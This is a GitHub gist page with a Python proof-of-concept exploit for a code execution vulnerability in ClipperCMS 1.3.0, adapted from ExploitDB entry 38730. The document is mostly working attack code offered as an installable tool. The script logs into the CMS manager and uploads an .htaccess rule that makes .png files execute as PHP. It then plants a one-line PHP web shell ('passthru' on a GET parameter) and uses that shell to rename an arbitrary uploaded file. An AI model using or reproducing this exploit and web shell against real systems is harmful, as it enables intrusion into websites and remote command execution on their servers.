Skip to content

Instantly share code, notes, and snippets.

@dhondta
Last active February 10, 2024 10:28
Show Gist options
  • Save dhondta/358393ce9ffed7b86254afd730174780 to your computer and use it in GitHub Desktop.
Save dhondta/358393ce9ffed7b86254afd730174780 to your computer and use it in GitHub Desktop.
Tinyscript Proof-of-Concept tool using PyBots for exploiting a Code Execution vulnerability in ClipperCMS

ClipperCMS 1.3.0 Code Execution Exploit

This is a variation of this exploit using Tinyscript and Pybots for uploading a shell.

$ pip install tinyscript
$ tsm install clippercms-shell-uploader
#!/usr/local/bin/python
# Exploit for ClipperCMS 1.3.0 Code Execution vulnerability
# Based on: https://www.exploit-db.com/exploits/38730
from pybots import HTTPBot
from tinyscript import *
__author__ = "Alexandre D'Hondt"
__email__ = "[email protected]"
__version__ = "1.0"
__copyright__ = ("A. D'Hondt", 2020)
__license__ = "gpl-3.0"
__reference__ = "https://www.exploit-db.com/exploits/38730"
__examples__ = ["https://www.example.com/clipper-cms/ user s3cr3t shell.php"]
__doc__ = """
This tool adapts exploit 38730 of ExploitDB for uploading a Web shell.
"""
BANNER_FONT = "standard"
BANNER_STYLE = {'fgcolor': "lolcat"}
SCRIPTNAME_FORMAT = "none"
class Exploit(HTTPBot):
def __init__(self, url, username, password, **kwargs):
super(Exploit, self).__init__(url, **kwargs)
self.session.headers.update({'Referer': self.url})
# first, try to login
data = {"ajax": "1", "username": username, "password": password}
self.post("manager/processors/login.processor.php", data=data)
if "Incorrect username or password" in self.response.text:
self.logger.critical("Bad username or password")
# then, check for upload privilege
self.get("manager/index.php?a=31")
if "You don't have enough privileges" in self.response.text:
self.logger.critical("Not enough privileges")
m = re.search("var current_path = '(.*)';", self.response.text)
path = m.group(1)
self.data = {'path': m.group(1)}
def _upload(self, filename, content):
self.post("manager/index.php?a=31", data=self.data, files={'userfile[0]': (filename, content)})
def upload(self, filename, content=None):
# upload a remote command PHP script
self._upload(".htaccess", "AddType application/x-httpd-php .png")
self._upload("404.png", "<?php passthru($_GET['x']) ?>")
# upload the file with PNG extension then rename it
tmp, ext = os.path.splitext(filename)
tmp += ".png"
if not content:
with open(filename) as f:
content = f.read()
self._upload(tmp, content)
self.get("404.png?x=mv {} {} ".format(tmp, filename))
if self.response.status_code == 200:
self.logger.info("File uploaded at {}".format(self.url.rstrip("/") + "/" + filename))
else:
self.logger.critical("File upload failed")
if __name__ == '__main__':
parser.add_argument("url", help="base URL of ClipperCMS 1.3.0")
parser.add_argument("username", help="username")
parser.add_argument("password", help="password")
parser.add_argument("file", type=ts.file_exists, required=True, help="file to be uploaded")
initialize()
with Exploit(args.url, args.username, args.password, verbose=args.verbose) as bot:
bot.upload(args.file)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment